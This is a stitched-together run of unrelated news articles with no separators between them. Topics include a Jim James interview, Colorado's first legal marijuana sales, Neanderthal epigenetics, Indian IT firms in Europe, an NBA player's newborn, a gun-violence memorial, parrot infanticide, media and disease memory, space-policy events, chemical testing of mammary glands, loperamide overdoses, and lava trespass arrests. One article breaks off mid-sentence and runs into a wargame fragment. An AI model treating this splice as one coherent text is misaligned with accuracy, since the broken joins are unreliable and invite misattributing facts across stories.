“It can. Take it from me. It’s weird being a performer," he says. "By the very nature of what I do, I have to go in public to play songs, which is such a weird thing to think about, but it also feels so good. I also love going to see shows, obviously, and when I’m seeing a show I realize that what I’m trying to do onstage is just trying to be a part of that beautiful circle. I try to not let it be about my ego or...”
He pauses, doing the delicate conversational dance of trying not to reveal too much.
“I just don’t like to think of me as separate from the crowd. I don’t like to think that they’re here for this person; it’s the music. But a weird side product of all that is that people know me or whatever. That’s why I try to keep that heavy line, because I want my friends and the love in my life — whether it’s family or romantic or friendship — I want people to love me because they love me, not because I play music or shows.”
EXPAND Jim James Neil Krug
As one of the last bands to slip into public consciousness before the rise of the internet, My Morning Jacket owes less to social media than more modern groups, and James himself uses Twitter and Instagram only to release info about his projects and to post artsy photos in which he rarely appears. But if you want to know what’s really on his mind, it’s all right there on the album. With Eternally Even, James builds a bridge between his interior life and the state of the culture, voicing frustrations about climate change, Trump’s “terrible spell on humanity” and how love and speaking up for what you believe in are antidotes to our current cultural shitstorm.
“In the past maybe I would be more focused on my loneliness or my physical dilemmas, or love or whatever,” he says of these themes. “I feel like the world has gone to such a fever pitch, that gets into what I’m thinking and it comes out in the music."
He continues: “I feel like we as humans have a responsibility to speak up for fairness, because there’s so much hate and negativity. We have a duty to broadcast as much love and peace as we can. And I feel like that’s a big part of this record. I’m not saying I have the answers; I’m not saying that I know how to solve anything, but I’m trying to be a force of good.”
If you really want to understand Jim James, that’s probably all you need to know.
Jim James plays at the Orpheum Theatre on Friday, Dec. 9. More info.Correction: An earlier version of the article described Sean Azzariti, the former Marine who became the first person to buy the drug under the state’s new law, as a veteran of the wars in Iraq and Afghanistan. Azzariti served in Iraq but not Afghanistan. This version has been corrected.
A long line of customers trails from a store selling marijuana in Pueblo West, Colo. The United States’ first recreational pot industry opened in Colorado on Wednesday, kicking off a marijuana experiment that will be watched closely around the world.
Jan. 1, 2014 A long line of customers trails from a store selling marijuana in Pueblo West, Colo. The United States’ first recreational pot industry opened in Colorado on Wednesday, kicking off a marijuana experiment that will be watched closely around the world. John Wark/AP
At 8 a.m. New Year’s Day, in an industrial area a few miles from downtown Denver, a former Marine named Sean Azzariti walked into a giant store and bought a bag of weed. Legally. To smoke just for fun, if he’s so inclined.
Azzariti’s transaction — 3.5 grams of Bubba Kush for $40 and some pot-laced chocolate truffles for an additional $9.28 — was the first in the state’s grand experiment in legalizing marijuana for recreational use.
The first-in-the-nation law was greeted with long lines at retailers and a lot of “Rocky Mountain High” jokes. But beyond the buzz, the measure represented the institution of a major new public policy in America — one that opponents fear will turn the state into a dangerous land of debauchery and that backers hope sets a nationwide precedent.
If Colorado is able to successfully legalize marijuana without causing a social backlash, the tourism, tax and other considerations are likely to compel several other states to quickly follow suit.
Backers say enough signatures have been collected to put legalization before voters this year in Alaska. Oregon would probably come next, and by 2016, they hope to see measures on the ballot in six other states: Arizona, California, Maine, Massachusetts, Montana and Nevada. Supporters are also hopeful that lawmakers will push for legalization in Delaware, Hawaii, Maryland, New Hampshire, Rhode Island and Vermont.
Washington state has legalized pot, but sales there won’t begin for at least a few months.
If problems arise in Colorado — whether that means residents get sick of stoner tourism or there are a rash of marijuana-
related accidents or crimes — it could set back a decades-old movement that has gained substantial momentum in recent years.
Experts say there really is no way to know which way it will go. “Nobody on Earth has ever done this before,” said Jonathan Caulkins, a drug policy expert and professor at Carnegie Mellon University.
Before Wednesday, the pro-marijuana movement’s biggest breakthrough came in 1996, when California became the first state in modern history to allow marijuana use of any kind when it greenlighted medicinal use. Now 20 states and the District allow it.
Colorado has approved 136 licenses for retail sales, three-quarters of them in the city and county of Denver and all at sites that have been legally selling marijuana for medical purposes. Eighteen city stores had completed the full process in time to open Wednesday. State officials expect dozens more to open across the state, and some have estimated that pot sales could add more than $200 million to Colorado’s economy.
Colorado residents 21 and older are allowed to buy up to an ounce of marijuana per transaction, and out-of-state customers are allowed to purchase up to a quarter-ounce.
Azzariti’s involvement was not by chance. He was active in the campaign to legalize recreational sales, and, although he can use the pot however he pleases, the veteran of the Iraq war said he needs it to deal with post-traumatic stress disorder.
His purchase was the culmination of a large media event hosted by advocates and the industry. Dozens of reporters filled the 3D Cannabis Center for a 7:30 a.m. news conference as customers waited in line outside, where a light snow was falling. News releases were distributed, and advocates were on hand for interviews. Other stores welcomed press, too, with media handlers in tow.
Toni Fox, the owner of the outlet, said she expects her average monthly revenue of $30,000 to grow more than eightfold, to $250,000, once improvements are made.
Doors also opened at 8 a.m. at Medicine Man, which boasts an even larger, 20,000-square-foot production space that the owners expect to double.
At Medicine Man, two nonresidents who bought the legal limit of a quarter-ounce of marijuana said it cost roughly $130. Prices are expected to remain high in the short term, with only a few retailers and a lot of demand. But over the long term, experts expect prices to fall with competition.
At Medicine Man, where the line Wednesday morning stretched up to 75 deep by 10 a.m., a security guard checking identification at the door estimated that well over half of the customers were from out of state. One customer, Kevin Schatz of Nebraska, said his 90-minute wait and the taxes paid were “well worth it.”
Not everyone was celebrating Colorado’s new marijuana reality Wednesday.
“Today, we’re witnessing the dawn of Big Marijuana, in a similar way that we had Big Tobacco for over 80 years,” said Kevin Sabet, who co-founded Project SAM (Smart Approaches to Marijuana) with former congressman Patrick J. Kennedy (D-R.I.). “We’re opening the doors to allowing a new, powerful industry to downplay the effects of a substance they will be profiting off of and to downplay the effects of addiction.”
Sabet, who worked in the White House’s Office of National Drug Control Policy during President Obama’s first term and serves as director of the Drug Policy Institute at the University of Florida, said the negative consequences of marijuana legalization include advertising aimed at kids, an increase in drugged-driving incidents and a spillover of marijuana from Colorado into surrounding states, where the drug remains illegal.
Possession of marijuana remains a federal crime, but, for now, the federal government is taking a wait-and-see approach to legalization. Last summer, the Obama administration said it would not challenge laws legalizing marijuana in Colorado and Washington as long as those states maintain strict rules involving the sale and distribution of the drug.
Local police are taking a similar approach, stressing that compliance and education are the primary goals.
“For the police department, the concern is safety,” said Cmdr. Les C. Perry, whose district includes the Medicine Man business.
Opponents of legalization face an uphill battle. In October, Gallup reported that a clear majority of Americans favor legalization — the first time it found such results since tracking began in 1969.
Barry Sacharow said his relationship with the drug dates back even further than Gallup’s polls. The 58-year-old from Hollywood, Fla., said he began smoking in 1968 in, of all places, Colorado.
“To go from Colorado 1968 and New York 1968 through the ’80s and the ’90s and all of the years to be here today,” he said, “is an amazing thing.”
Brady Dennis in Washington contributed to this report.By Sharon Begley
NEW YORK (Reuters) - How can creatures as different in body and mind as present-day humans and their extinct Neanderthal cousins be 99.84 percent identical genetically?
Four years after scientists discovered that the two species' genomes differ by a fraction of a percent, geneticists said on Thursday they have an explanation: the cellular equivalent of "on"/"off" switches that determine whether DNA is activated or not.
Hundreds of Neanderthals' genes were turned off while the identical genes in today's humans are turned on, the international team announced in a paper published online in Science. They also found that hundreds of other genes were turned on in Neanderthals, but are off in people living today.
Among the hundreds: genes that control the shape of limbs and the function of the brain, traits where modern humans and Neanderthals differ most.
"People are fundamentally interested in what makes us human, in what makes us different from Neanderthals," said Sarah Tishkoff, an expert in human evolution at the University of Pennsylvania, who was not involved in the new study. Discovering the differences in gene activation is "an amazing technical feat," she said, and goes a long way to answering that riddle.
The discovery also underlines the power of those on/off patterns. Together, they add up to what is called the human epigenome, to distinguish it from the human genome. The genome is the sequence of 3 billion molecules that constitute all of a person's DNA while the epigenome is which bits of DNA are turned on or off even as the molecular sequence remains unchanged.
In the last few years, research on the epigenome has shed light on how gene silencing leads to cancer, for instance, and how identical twins with identical DNA sequences can be very different. The epigenome exerts such powerful effects that it is often called the "second genetic code."
Now it has offered clues to what makes modern humans distinct.
GENES FOR STRONGER LIMBS
For the new study, geneticists led by Liram Carmel of the Hebrew University of Jerusalem started with DNA from limb bones: those of a living person, a Neanderthal and a Denisovan, an extinct human that lived in Eurasia during the Stone Age and whose remains - a pinkie bone and a tooth, from a cave in Siberia - were not discovered until 2010.
Geneticist David Gokhman and others on the Israeli team then examined the DNA's on/off patterns, identifying about 2,200 regions that were activated in today's humans, but silenced in either or both extinct species, or vice versa. When a gene is silenced, it does not produce the trait it otherwise would.
Chief among the epigenetic differences: a cluster of five genes called HOXD, which influences the shape and size of limbs, including arms and hands. It was largely silenced in both ancient species, the scientists found.
That may explain anatomical differences between archaic and present-day humans, including Neanderthals' shorter legs and arms, bowleggedness, large hands and fingers, and curved arm bones.
Calling the work "pioneering," and "a remarkable breakthrough," paleoanthropologist Chris Stringer of the Natural History Museum in London said in an interview that the HOXD gene finding "may help to explain how these ancient humans were able to build stronger bodies, better adapted to the physical rigors of Stone Age life."
One caveat about the research is that one person's epigenome can vary markedly from another's due to diet, environment and other factors. It is therefore impossible to know whether the on/off patterns found in Neanderthal genes are typical of the species overall or peculiar to the individual studied.
Other DNA with big differences in on/off patterns between the extinct and present-day humans is associated with neurological and psychiatric disorders including autism, schizophrenia and Alzheimer's disease. More of the Neanderthal versions were silenced.
In an interview, Carmel speculated that any given gene might "do many things in the brain." When dozens of brain-related genes became more active in today's humans, that somehow produced the harmful side effect of neurological illness.
But the main effect might have been the astonishing leap in brain development that most distinguishes modern Homo sapiens from our extinct cousins.Despite the fact that North America is India's biggest IT market, industry analysts believe that the growth of country's $108-billion IT industry in 2014 will be driven by the European region. "Europe is growing faster than the US. That is something we saw this year and this will only gain momentum. There is a lot of latent demand in the region, which will drive growth for the sector," Som Mittal, president of India's IT industry body Nasscom told PTI. Currently, North America accounts for over 60 per cent of export revenues of India's IT sector, while the European region's share is about a third of that with the UK accounting for the major chunk. "The share of the European region has been growing... The market is now more open to outsourcing and in the coming year, we will see a lot of new projects coming up, which is a huge opportunity for our domestic companies," Mittal said. Faced with rising uncertainties due to and stricter visa regulations and other issues in the US, their largest market, Indian IT companies have shown growing interest in Europe, as is evident from their European acquisitions and hiring in recent months, aimed at bypassing labour issues and enhancing client trust. In April, Indian IT giant TCS acquired French IT services firm Alti SA for 75 million to strengthen its presence in Europe (See: TCS completes acquisition of French ERP firm Alti). In January, Geometric Ltd bought German engineering services provider 3cap Technologies for 11 million (Geometric acquires Germany's 3Cap Technologies). Last year, Infosys took over Swiss management consulting firm Lodestone Holding AG, for about 270 million (Infosys to buy Swiss consulting firm Lodestone for Rs1,900 crore). US-based Congizant Technologies, which has three quarters of its workforce in India, said that it will buy French financial services firm Equinox Consulting, besides acquiring several small IT services firms in Germany. "For European companies, many of them which have seen prolonged economic slowdown, Indian IT firms not only offer cost advantage but also high quality of work," Mittal said. In 2012, TCS ranked 11th in IT revenues from Europe, climbing up from the 21st position in 2009. Indian rivals Wipro and Infosys improved their positions to 18th and 23rd during the year, according to German outsourcing advisory Pierre Audoin Consultants (PAC). India's IT exports are likely to hit $86 billion in the current fiscal, registering an expected growth of 12-14 per cent, according to Nasscom. It is believed that with a relatively low market penetration, Europe provides a lot of headroom for growth. However, language problems, strict labour rules as well as data privacy issues remain in several European countries which need be overcome to achieve sustained growth. Countries like Germany and France which did not show willingness to offshore deals earlier are opening up and are even setting up centres in India and China. According to some analysts, overall business of top Indian IT companies in Europe is expected to grow about 16 per cent this year, against an expected 12-per cent growth in the US.OAKLAND, Calif. -- Draymond Green returned to the Bay Area on Thursday to welcome his new baby boy.
Son Draymond Jamal Green Jr. was born at 3:55 a.m. Thursday, the Warriors said, and his father missed Golden State's 117-101 win Thursday at Brooklyn. His status for Friday's matchup at Detroit and Sunday at Cleveland was still to be determined.
In an Instagram post, Green said: "I've never experienced such a feeling like I did when I watched his entry."
Warriors coach Steve Kerr said the team was thrilled for Draymond and Jalissa and "disappointed in myself that I didn't insist that Draymond stay home yesterday from the plane.
"I tried to get him to do it, I didn't fight hard enough and I'm bummed that he didn't make it back for the actual birth but he's home now and we're all so happy for him and his family," Kerr said. "It's awesome news."
Editor's Picks Warriors' oldest fan, 'Sweetie,' dies at 107 A 107-year-old Northern California woman who gained fame very late in life as an avid and gregarious fan of the Golden State Warriors died Thursday.
"We had a good discussion after the Utah game about whether he should come or not and he was convinced that the baby was not going to arrive for about a week. Typical father, the women are right, the men are wrong in these things. But he was convinced that it wasn't going to happen for a week and so we kind of relented and said all right, you know, come with us, and then of course we practice last night, then I woke up this morning with a text from him saying he had taken off back to Oakland."
Green leads Golden State in rebounds (8.8), assists (7.2) and steals (2.3) while averaging 10.6 points.
Kevon Looney started in Green's place.
Information from The Associated Press was used in this report.MORRISTOWN — It happened twice to Karen Walsh, the first time she pushed her stroller past the line of empty shoes and the last. She nearly cried.
"You can't walk by this and not get emotional," she said. "At least not in my mind."
Walsh wasn't the only one. Several got choked up as they walked past the 68 empty pairs of shoes Sunday, symbolizing those killed via gun violence in New Jersey since the Newtown school shooting exactly four months ago.
Each pair of shoes displayed the first name and the age of each person who died in New Jersey. Organizers of the event spoke about the need for change in the nation's gun laws.
"We've had so many great conversations," said Morristown Councilwoman Rebecca Feldman, also of the Morris Area Committee to Reduce Gun Violence, which organized the event with the aid of Moms Demand Action for Gun Sense in America and Ceasefire NJ.
It was one of several anti-gun demonstrations throughout northern New Jersey Sunday, according to Mandi Perlmutter, one of the heads of the New Jersey Moms chapter.
On Valentine's Day, Democratic gubernatorial candidate Sen. Barbara Buono joined hundreds at a gun-control rally on The Green in Morristown.
Mayor Tim Dougherty and others distributed information to passersby, hoping to convince them to contact government officials and accelerate legislation aimed at reducing gun violence.
"Reducing gun violence is a local issue," Feldman said. "It's very relevant to anyone in any town who knows anyone affected by gun violence. And as soon as you know anyone it's happened to somebody you knew or loved, then you care."
Dougherty said he wanted to see more throughout background checks on gun buyers nationwide, as well as loopholes in gun sales closed.
"There's just a few things they could do right away that the whole country could get behind," he said.
Michael Aaron Rockland, an american studies professor at Rutgers University, pulled over his car as he drove past the line of shoes late Sunday morning. Rockland said during speaking engagements abroad people ask him why America hasn't enacted stricter gun laws.
"They say, 'You know, we like you Americans. But you're crazy,'" Rockland said.
"If we can't get assault rifles out of people's hands, if we can't get magazines out of people's hands, then this will go on and on."
Morristown resident Jennifer Johnson agreed. "I actually don't know why people need guns for anything other than hunting," she said. "But I'm from Oklahoma, where everyone has a gun. So I teeter back and forth."
Walsh grew up in Atlanta and moved to Morristown about 14 years ago. She was a college freshman during the Columbine High School massacre; a mother when 26 people — mostly children — were shot to death in Newtown, Conn., exactly four months ago Sunday.
So when Walsh doubled back to take in the sight of empty pairs of shoes, she asked herself a question.
"Why did he have those guns?" Walsh said, referring to Connecticut school shooter Adam Lanza. "It's a very emotional thing."The mysterious behaviour of female Eclectus parrots killing their sons immediately after they hatch has been unravelled by a team of researchers from the Australian National University. Such sex-specific infanticide occurs in some human societies (where baby girls are killed) but is rare in other species.
In a paper published online in Current Biology this month, the team from the Fenner School of Environment and Society and the Research School of Biology describe the infanticide and the conditions surrounding the parrot’s choice to kill their young.
Male (green) Eclectus parrot feeding female (photo: M. Cermak)
“It’s interesting in itself because infanticide is weird - why do you have babies and then kill them?” remarked lead author, Professor Robert Heinsohn.
“Humans are the only other species that systematically kill their own offspring of one sex. But here’s a case in Eclectus parrots where we can show there is a very clear adaptive reason,” Professor Heinsohn continued.
Infanticide is easiest to understand when it involves killing the young of others, e.g. for food, or competitive reasons. But producing young is a costly business and it is very hard to understand why parents would kill their own offspring. In the case of Eclectus parrots, it's even harder to understand why parents systematically kill off one sex (males). Evolutionary theory tells us that it should be maladaptive to do this because, apart from the wasted effort, it leads to imbalances in the population sex ratio (most species produce equal numbers of male and females). This means the under-produced male chicks would do especially well in the mating game and the over-produced females will have trouble finding mates.
Male (green) and female nestling at 5 weeks old, with lead author Professor Robert Heinsohn (photo: R Heinsohn)
Professor Heinsohn has been studying the Eclectus roratus parrot - native to Papua New Guinea and the Cape York area in Northern Queensland - for over ten years. The sex ratio of the birds caught his attention when he observed captive birds producing long stretches of chicks of the same sex in succession, sometimes up to thirty male chicks in a row.
Professor Heinsohn and his research team spent six months at a time in remote rainforests in Cape York studying the parrot in its natural environment.
Eclectus parrots are approximately the size of a sulphur crested cockatoo and nest in tree trunk hollows 20 - 30 metres from the ground. Unusually for birds, Eclectus chicks have distinct gender colour differences from a very young age, allowing the sole carer mother to decide the chick’s fate based on its sex within hours of hatching.
The research team found that infanticide was only happening in certain types of nest hollows. “They are not all equal,” explains Professor Heinsohn. “Some are really good for nesting in, some are poor. The poor ones have a habit of flooding in heavy rain, drowning the chicks or eggs inside.”
Professor Heinsohn said there had to be precise circumstances in which the female parrot would commit infanticide: “It was the adult females who had poor hollows who would often - if they laid a male and a female chick - get rid of the male. It was always a younger brother, and in doing that they could speed up the development of the older female chick.”
Females nest in hollows high in rainforest trees but these hollows vary greatly in quality because some are prone to flooding in heavy rain. These hollows fill with water and the eggs and chicks inside often drown.
As female Eclectus chicks fledge up to 7 days earlier than their male siblings, the adult females with poor nest hollows stand a better chance of reproductive success concentrating their maternal efforts on female chicks.
This unusual behaviour does affect the balance between the sexes in the adult Eclectus population, and should make the over-produced female chicks less valuable. “However, provided you don’t do it too often, the benefits of producing at least one surviving chick are such that you can get away with it,” Professor Heinsohn concluded.
Science Story Reference: Adaptive Secondary Sex Ratio Adjustments via Sex-Specific Infanticide in a Bird.The health facts presented by mass media in the midst of a disease outbreak are likely to influence what we remember about the disease — new research suggests that the same mass media coverage may also influence the facts that we forget.
The findings, published in Psychological Science, a journal of the Association for Psychological Science, indicate that personal anxiety and mass media coverage interact to determine what people remember about a disease.
“The starting point for our study was the exaggerated coverage of Ebola in 2014 despite the absence of any serious consequences in the United States,” says psychological scientist Alin Coman of Princeton University. “The common sense intuition is that in situations like these, in which health risks are exaggerated by the media, the audience pays more attention to the information presented.”
An unintended outcome of selective media coverage, says Coman, is that it also shapes how people remember information that isn’t presented. For example, a newscast that highlights only some disease symptoms may induce people to forget other symptoms they had learned previously, but it probably won’t affect their ability to recall disease characteristics that aren’t symptoms.
Coman and co-author Jessica Berry decided to investigate this forgetting phenomenon in the context of meningococcal disease, a real disease that most people don’t know much about.
The researchers conducted an online study with 460 adult participants in the US. The participants learned about specific symptoms, risk factors, diagnostic tools, and aftereffects associated with meningococcal disease and then read a message about the disease. Some participants read a “low-risk” message that highlighted the low likelihood of contracting the disease in the US, with about one recorded case for every 100,000 individuals in a given year. Other participants read a “high-risk” message that focused instead on the consequences of the disease, including the fact that the mortality rate is as high as 40% in some age groups. These messages differentially affected how anxious participants felt about meningococcal disease.
The participants then listened to a radio show clip that supposedly featured an expert from the CDC talking about meningococcal disease. The clip included some, but not all, of the facts the participants had just learned — for example, the clip might only highlight two of the four symptoms participants had learned about.
After the clip was over, the participants completed a surprise recall test, in which they had to remember as many of the previously learned characteristics — symptoms, risk factors, diagnostic tools, and aftereffects — as they could.
As expected, participants in both the low- and high-risk groups were better at remembering the disease facts that were repeated in the radio show compared to those that weren’t.
But they also showed a particular pattern of forgetting. Participants were worse at remembering disease characteristics that weren’t mentioned when they came from the same category as characteristics that were mentioned. If the radio show only highlighted two symptoms and two aftereffects, for example, participants were more likely to forget the other symptoms and aftereffects they had learned than they were to forget about risk factors and diagnostic tools.
Importantly, the anxiety that participants felt in the high-risk group seemed to cause this forgetting effect.
“The audience experiences a paradoxical effect by which the more attention they pay to the expert, due to increased anxiety, the more likely they are to forget information that is related to what the expert mentions,” explains Coman. “Media outlets may not know whether a |
14, y16) – tired after stealthy movement – and Batrakov, the mortar spotter (y16) – also weary.
In the east, two of Myshkov’s pioneer squads are approaching the house at t27, with Renko, the sniper, not far behind. Myshkov, and the other squad observe their progress from across the river (x26-27), as does the T-34/85 (lurking behind a low wall at w24).Here is our list of space policy events for the week of October 31-November 5, 2016 and any insight we can offer about them. Congress is in recess until November 14.
During the Week
As usual, there is a full plate of interesting space policy events coming up this week.
To highlight just two, NASA’s Lunar Exploration Analysis Group (LEAG) will meet in Columbia, MD at the headquarters of the Universities Space Research Association (USRA). It will spend part of the first day (Tuesday) discussing ESA Director General Jan Woerner’s concept for a Moon Village (or Lunar Village). Wednesday features an evening reception where Rep. Jim Bridenstine (R-OK) will provide an update on his American Space Renaissance Act and policies needed to ensure free enterprise can occur on the Moon and in cislunar space. Bridenstine is a leading voice in Congress for determining what is needed to enable the United States government to fulfill its obligations under the Outer Space Treaty in a manner that facilitates new types of private sector activities in Earth orbit and beyond. We’ve inquired as to whether any of the meeting will be webcast and will add that information to our calendar entry if/when we get an answer. [UPDATE: It will be available by WebEx. See our calendar entry for details.]
On Friday and Saturday, the New Worlds Institute will hold the New Worlds 2016 Conference and Space Settlement Symposium at the Renaissance Austin Hotel at the Arboretum in North Austin, TX. It features a star-studded line-up of speakers separately making “the case for” the Moon, for Mars, and for free-space, plus sessions on space elevators, space solar power, protecting the planets, who owns space, and a broad range of other topics. Co-chaired by Mary Lynne Dittmar (Coalition for Deep Space Exploration), Pete Worden (Breakthrough Prize) and Phil Metzger (founder of Kennedy Space Center Swamp Works), speakers include Bob Richards (Moon Express), Bob Zubrin (Mars Society), Bill Gerstenmaier (NASA), Margaret Race (SETI Institute), John Lewis (University of Arizona), and Rick Tumlinson (New Worlds Institute). The website does not indicate whether any of it will be webcast. We’ve inquired and will post the information on our calendar if/when we find out. [UPDATE: we’ve been informed that it will NOT be webcast, although a few videos may be posted later.]
Those and other events we know about as of Sunday morning are shown below. Check back throughout the week for others we learn about later and add to our Events of Interest list.
Monday, October 31
NASA International Space Station Advisory Committee, NASA HQ, Washington, DC, 2:00-3:00 pm ET
Monday-Tuesday, October 31 – November 1
National Academies Committee on Astronomy and Astrophysics, Beckman Center, Irvine, CA (WebEx) (some sessions are closed)
Tuesday, November 1
NASA Innovation Mission Day, NASA HQ and all NASA centers, various times and locations [keynote address by Deputy Administrator Dava Newman at 12:00 pm ET will be broadcast on NASA TV)
Tuesday-Thursday, November 1-3
NASA Lunar Exploration Analysis Group (LEAG), USRA Headquarters, 7178 Gateway Drive, Columbia, MD
Wednesday, November 2
James Webb Space Telescope Update with NASA Administrator Charlie Bolden and others, NASA Goddard Visitor Center, Greenbelt, MD [speech by Bolden from 9:00-9:30 am ET will be broadcast on NASA TV)
Role of Space in Maritime Operations (CSIS/USNI), CSIS, 1616 Rhode Island Ave., NW, Washington, DC, 9:00-10:00 am ET (webcast)
Wednesday-Thursday, November 2-3
NASA Advisory Council Institutional Committee, NASA HQ, Washington, DC (WebEx/telecon)
Wednesday-Friday, November 2-4
Thursday-Saturday, November 3-5
SpaceVision 2016 (annual SEDS conference), Purdue University, West Lafayette, IN
Friday-Saturday, November 4-5Breast-cancer risk may be affected early in development
The last quarter of a century has taught science some newfangled things about breasts. For one thing, they appear to be showing up earlier in young girls, with possible consequences for breast cancer later on. For another, the way they grow and develop varies from woman to woman, and—if lab animals are any indication—normal exposures to commercial chemicals can alter that process. The growing human breast is also more vulnerable than we thought. Data from atomic-bomb survivors in Japan show that it was adolescents—not grown women—near the explosions who were most likely to develop breast cancer in later years. Since then, there’s been similar data for girls who were exposed to medical X-rays or radiation therapy, as well as research showing that the pesticide DDT, now banned but pervasive in the 1950s and 1960s, is associated with a higher risk of breast cancer in women exposed as girls.
So it may come as a surprise that the federal agencies responsible for public health don’t routinely take childhood exposures into account when testing whether commercial chemicals cause mammary tumors. In fact, in many lab-animal tests, they don’t bother to look at the mammary gland at all. Breast cancer may be the No. 1 killer of middle-aged women in the United States, but as a new set of reports makes clear, the breast is a major blind spot in federal chemical-safety policy. “They just throw the mammary glands in the trash can,” says Ruthann Rudel, research director with the nonprofit Silent Spring Institute and lead author of one of the papers, a review of the latest science on mammary gland development and toxic exposures.
The reports, published last week in the journal Environmental Health Perspectives, grew out of a 2009 workshop on mammary gland risk assessment, which involved scientists from federal and international agencies as well as independent groups. Breast cancer is just one of the areas federal agencies neglect, the reports show, along with health issues surrounding lactation and the timing of breast development in puberty. “Few chemicals coming into the marketplace are evaluated for these effects,” state Rudel and her co-authors.
But blowing off these tests is a big mistake. The mammary gland—the breast’s intricate milk-making structure—is uniquely sensitive to toxic chemicals, says Suzanne Fenton, a reproductive endocrinologist with the National Toxicology Program of the National Institutes of Health, and a co-author of the science review. In both rodents and humans, it starts to develop in the fetus, undergoes a colossal growth spurt at puberty, and doesn’t fully develop until late pregnancy. During these times, its cells appear particularly vulnerable to carcinogens and other organ-altering substances. While lab rats and mice aren’t perfect proxies for humans, their mammary glands undergo similar development patterns under similar hormonal influences, says Fenton.
When it comes to breast health, the reports fault the primary federal body responsible for regulating commercial chemicals, the U.S. Environmental Protection Agency, on several fronts. First, in its cancer tests that do assess mammary glands, lab animals are typically dosed with the chemicals in question as adults, past the sensitive age when toxins may cause critical damage to the organ. Second, in other tests that use younger animals, the mammary glands are not examined at all, meaning the tests could be missing signs of poor functioning and development. This is important because chemicals may affect both breastfeeding ability and the timing of puberty, which in turn influences breast-cancer risk. Finally, the EPA’s testing protocols don’t consistently examine the male mammary gland, which also appears to be sensitive to toxins.
These lapses come on top of the already lame reality that the EPA maintains toxicity data on just 1 percent of the 83,000 chemicals in use in this country. Most chemicals enter the market with no health testing at all. In 2009, the agency finally implemented a much-needed new program that screens chemicals for subtle effects on hormone systems. (Previously, the agency only checked to see whether chemicals caused more obvious problems, like tumors, sickness, or death.) Called the Endocrine Disruptor Screening Program, it has begun requiring manufacturers to test pesticides (and only pesticides, so far). These comprehensive tests look for widespread effects in rodent bodies, including on the brain, internal organs, and genitals—but not on mammary glands. Oops. “There are really no other major gaps [in those tests],” says Fenton.
“I wish I could understand the failure of logic in not testing mammary glands,” says Jeanne Rizzo, director of the Breast Cancer Fund, a California-based nonprofit. But she says she’s heartened that the discussion is even on the table. “Ten years ago, when we said we need to look at the environment and we need to look at prevention, people thought we were nuts.”
It’s becoming increasingly clear, though, that mammary glands belong on a slide and not in the dumpster. Recent studies show that some pesticides, pharmaceuticals, and plastic additives appear to change when and how the mammary gland develops. Even low doses, close to what average Americans are exposed to currently, have been linked to altered development, cell growth, and gene expression in animal mammary glands. The chemicals include the notorious baby-bottle chemical bisphenol A, dioxin (a by-product from burning plastic and a common food contaminant), phthalates (plastic additives), atrazine (a top-selling herbicide in the United States, now banned in Europe), flame retardants, and stain repellants. PFOA, a common chemical used to make Teflon, appears to delay puberty in animal pups and reduce the size of the mammary gland, while chemicals that mimic estrogen may accelerate puberty.
The good news is that the mounting data on the sensitivity of breast cells has caught the attention of scientists within state and federal government. Some are calling for reform. “There’s a growing body of animal evidence and sporadic human evidence that things we’re exposed to across a lifetime can cause breast cancer,” says Marion Kavanaugh-Lynch, director of California’s Breast Cancer Research Program, a governmental grant-making organization that helped fund the 2009 workshop with proceeds from the state’s cigarette tax. “If we can identify these chemicals now, we can more easily avoid them,” she says.
The question is whether, and how fast, regulatory agencies can update their toxicity protocols. New tests have to be proven effective and then standardized across numerous labs. In a victory for breast-cancer advocates, the National Toxicology Program, under pressure from its own scientists, is actively rewriting its testing guidelines to look more carefully at mammary glands. But this is only a partial victory, as the NTP does not have the authority to regulate chemicals (it’s a research and advisory body), and the agency tests only about six to eight substances per year.
The NTP’s Fenton is a big fan of a new testing procedure, the gruesome-sounding “whole mount,” a way of preparing dissected rodent tissue to look for changes both subtle and overt. A rodent’s fourth or fifth mammary glands—those near the stomach—are removed, flattened, stained, and mounted flat to a slide, where they can be carefully examined for changes in cells or structures. Soon, Fenton hopes, every government lab will use it. If approved, NTP’s guidelines would also require that certain tests include doses of chemicals both in-the-womb and around the time of puberty.
The EPA is watching closely to see if and how the NTP’s new tests pass political and scientific muster. So is the Organisation for Economic Cooperation and Development, which guides chemicals testing in Europe. With added data from mammary glands, policymakers could have more reasons to keep unsafe substances off the market. If your breasts won’t benefit, your daughters’ just might.Federal health officials are investigating sometimes-deadly overdoses with common anti-diarrhea drugs, a bizarre manifestation of the nation's drug abuse problem.The primary ingredient in prescription Imodium and similar over-the-counter drugs is intended to control diarrhea. But abusers sometimes try to achieve heroin-like highs by taking massive doses, up to 300 milligrams at once, according to cases in the medical literature. Recommended doses range between 8 milligrams and 16 milligrams per day.The Food and Drug Administration warned doctors and patients Tuesday that the drugs can cause potentially deadly heart problems when taken at higher-than-recommended levels. The agency has received 31 reports of people hospitalized due to the heart problems, including 10 deaths over the last 39 years. The agency's database is not comprehensive and many drug overdoses are not reported to the government.But national poison centers reported a 71 percent increase in calls involving loperamide-containing drugs between 2011 and 2014, according to a journal article published last month in the Annals of Emergency Medicine.The paper's authors recommended restricting over-the-counter sales of the anti-diarrhea drugs, similar to other easily abused medications like pseudoephedrine, the decongestant that can be processed into methamphetamine.FDA regulators said in an online posting that they are monitoring the issue and considering next steps.Reports of abuse are rising amid an epidemic of addiction and abuse involving opioids, a family of drugs that includes narcotics like heroin and legal prescriptions like morphine and oxycodone. In some cases, opioid abusers will attempt to wean themselves off those drugs by substituting the anti-diarrhea drugs.In 2014, more than 47,000 drug overdoses were recorded in the U.S., with opioids accounting for 61 percent of that total, according to the Centers for Disease Control and Prevention. Federal and state authorities have been trying to reduce opioid abuse for years, though overdose deaths have continued to rise.The Hawai’i Police Department arrested two Puna residents for trespassing into a restricted area near active lava on Thursday.
Police responded just before 6 p.m. to a report that two people were in the area of an active lava flow above Pahoa. When officials arrived, officers observed a man and a woman who were within five feet of lava, facing the flow and taking pictures.
The couple possessed two golf clubs, each with a ball of hardened lava on the end. The pair was on County of Hawai’i property beyond a fence and the path of travel indicated that they has crossed private property to reach the viewing location.
HPD identified the individuals as sixty-five-year-old Ruth Crawfort of Ainaloa and 59-year-old Stephen Koch of Nanawale. They were arrested for second-degree criminal trespassing.
Later that evening, police located a pickup truck and sports-utility vehicle in the Pahoa Community Center parking lot, the vehicles were registered to each arrested individual. Officers observed through the front windshield various household utensils that had been dipped in lava.
After being charged, Crawford and Koch posted bail of $250 each and were released.
HPD encourages members of the public to report sighting of people who may be trespassing near the active lava flow or in areas beyond police barricades.
